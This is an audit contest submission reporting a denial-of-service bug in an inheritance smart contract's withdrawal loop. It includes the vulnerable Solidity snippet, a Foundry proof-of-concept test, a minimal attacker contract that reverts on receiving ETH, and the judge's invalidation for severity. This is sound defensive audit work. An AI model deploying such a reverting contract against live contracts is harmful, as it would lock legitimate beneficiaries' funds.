Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Invalid

Denial of Service in `inheritanceManager::withdrawInheritedFunds`: Single Failing Beneficiary Blocks All Withdrawals

Summary

The inheritanceManager::withdrawInheritedFunds function iterates over the inheritanceManager::beneficiaries list and transfers funds to each beneficiary using a .call{value: amountPerBeneficiary}("") for ETH withdrawals. If any beneficiary is a contract that does not implement a receive or fallback function, the transaction will revert, preventing all beneficiaries from withdrawing funds.

Vulnerability Details

Vulnerable Code:

https://github.com/CodeHawks-Contests/2025-03-inheritable-smart-contract-wallet/blob/9de6350f3b78be35a987e972a1362e26d8d5817d/src/InheritanceManager.sol#L244

for (uint256 i = 0; i < divisor; i++) {
address payable beneficiary = payable(beneficiaries[i]);
(bool success,) = beneficiary.call{value: amountPerBeneficiary}("");
require(success, "something went wrong");
}

If any of the beneficiaries[i] is a contract that cannot receive ETH, the call operation will fail. Since Solidity reverts the entire transaction on failure, all other beneficiaries will also be blocked from receiving funds.

Proof of Concept

Paste the test_withdrawInheritedFundsEtherFailInLoop test into inheritanceManagerTest.t.sol file, and Paste the attacker contract below inheritanceManagerTest.t.sol contract.

function test_withdrawInheritedFundsEtherFailInLoop() public {
Attacker attacker;
attacker = new Attacker();
address user2 = makeAddr("user2");
address user3 = makeAddr("user3");
vm.startPrank(owner);
im.addBeneficiery(user1);
im.addBeneficiery(user2);
im.addBeneficiery(address(attacker)); // Attacker contract with no receive function
im.addBeneficiery(user3);
vm.stopPrank();
vm.warp(1);
vm.deal(address(im), 12e18);
vm.warp(1 + 90 days);
vm.startPrank(user1);
im.inherit();
vm.expectRevert();
im.withdrawInheritedFunds(address(0)); // Reverts due to attacker contract
vm.stopPrank();
console.log(user1.balance);
}
contract Attacker {
address owner;
constructor() {
owner = msg.sender;
}
function withdraw() public {
(bool success, ) = owner.call{value: address(this).balance}("");
require(success, "Transfer failed.");
}
receive() external payable {
revert();
}
}
  • Result: The entire inheritanceManager::withdrawInheritedFunds function reverts, meaning no beneficiary can withdraw funds.

Impact

  1. All withdrawals fail if any single beneficiary is a contract that cannot receive ETH.

  2. ETH can remain stucked in the contract forever.

  3. Legitimate beneficiaries are unfairly blocked from withdrawing their inheritance.

  4. Can be exploited by a malicious beneficiary deploying a contract without a receive function to DOS withdrawals.

Tools Used

  • Foundry

Recommendations

  • Allow Manual Withdrawals: Instead of sending ETH in a loop, allow each beneficiary to withdraw manually using a pull-over-push approach. This prevents a single failing address from blocking all other withdrawals.

Updates

Lead Judging Commences

0xtimefliez Lead Judge 6 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Appeal created

derastephh Submitter
6 months ago
0xtimefliez Lead Judge
6 months ago
0xtimefliez Lead Judge 6 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.